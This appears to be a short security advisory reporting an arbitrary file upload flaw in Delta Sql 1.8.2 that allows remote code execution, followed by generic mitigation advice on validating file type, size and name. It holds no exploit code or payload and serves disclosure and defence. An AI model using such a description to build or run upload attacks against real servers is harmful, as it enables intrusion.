Delta Sql 1.8.2 – Arbitrary File Upload

Delta Sql 1.8.2 is vulnerable to arbitrary file upload. An attacker can upload a malicious file to the web server by sending a specially crafted HTTP request. This can be used to execute arbitrary code on the server.

Mitigation:

The application should validate the file type before uploading it to the server. The application should also restrict the file size and the file name.
